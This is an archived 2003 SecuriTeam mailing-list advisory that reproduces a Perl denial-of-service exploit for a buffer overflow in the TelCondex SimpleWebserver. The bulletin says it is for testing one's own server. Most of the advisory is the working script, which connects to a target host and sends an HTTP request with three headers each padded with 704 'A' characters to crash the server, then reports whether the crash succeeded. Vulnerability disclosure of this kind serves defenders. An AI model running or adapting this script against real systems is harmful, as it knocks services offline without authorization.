

# [EXPL] TelCondex SimpleWebserver Buffer Overflow (Exploit)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-11/0036.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 11/06/03

To: list@securiteam.com

Date: 6 Nov 2003 11:18:51 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

TelCondex SimpleWebserver Buffer Overflow (Exploit)

---

## SUMMARY

As we reported in our previous article

<<http://www.securiteam.com/windowsntfocus/6W00W008KU.html>> TelCondex

SimpleWebserver Buffer Overflow, a vulnerability in the web server allows

remote attackers to overflow an internal buffer. The following exploit

code can be used to test your server for the mentioned vulnerability.

## DETAILS

Exploit:

```
#!/usr/local/bin/perl
```

```
# TelCondex WebServer: Buffer overflow
```

```
# -----
```

```
#
```

```
# Vendor: TelCondex SimpleWebserver(tc.SimpleWebServer)
```

```
# Version: 2.12.30210 Build 3285
```

```
# Discoverer: Oliver Karow<oliver.karow@gmx.de>
```

```
# Exploit: DoS(Denial Of Service) By Blade<blade@abez.org>
```

```
# Solution: Download Fixed
```

```
Version<http://www.telcondex.de/pub/sws\_default.htm>
```

Securiteam: [EXPL] TelCondex SimpleWebserver Buffer Overflow (Exploit)

```
# <FiH eZine 2003 – http://www.fihezine.tsx.to>
#####
use IO::Socket;

print '
TelCondex Webserver DoS Exploit –
Programmer: Blade<blade@abez.org> – Discoverer:
Oliver.K.<oliver.karow@gmx.de>
FiH eZiNe 2002<>2003 – http://www.fihezine.tsx.to\n
Usage: TelCondex.pl <HostVulnerable> [Port] ';

$server = $ARGV[0];
if ($ARGV[1] == 0){ $port=80; } else { $port=$ARGV[1]; }

print" Connecting...";
$Sock=IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>$server,PeerPort=>$port, Timeout=>5);
if ($Sock){
print" Conected...";
$Sock->autoflush(1);

print $Sock "GET / HTTP/1.1\r\n".
"Accept: */* \r\n".
"Referer: ". ("A" x 704) ."\r\n".
"Host: ". ("A" x 704) ."\r\n".
"Accept-Language: ". ("A" x 704) ."\r\n\r\n";
@Respost=<$Sock>;
close($Sock);
if (@Respost == 0){die " D.o.S Completed!\n";} else { print "
D.o.S
Not Completed"; }
}else{ print"Impossible to connect from $server"; }
```

ADDITIONAL INFORMATION

The information has been provided by  
<<mailto:blade@bladeinternetsecure.com>> Blade.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

Securiteam: [EXPL] TelCondex SimpleWebserver Buffer Overflow (Exploit)

loss of business profits or special damages.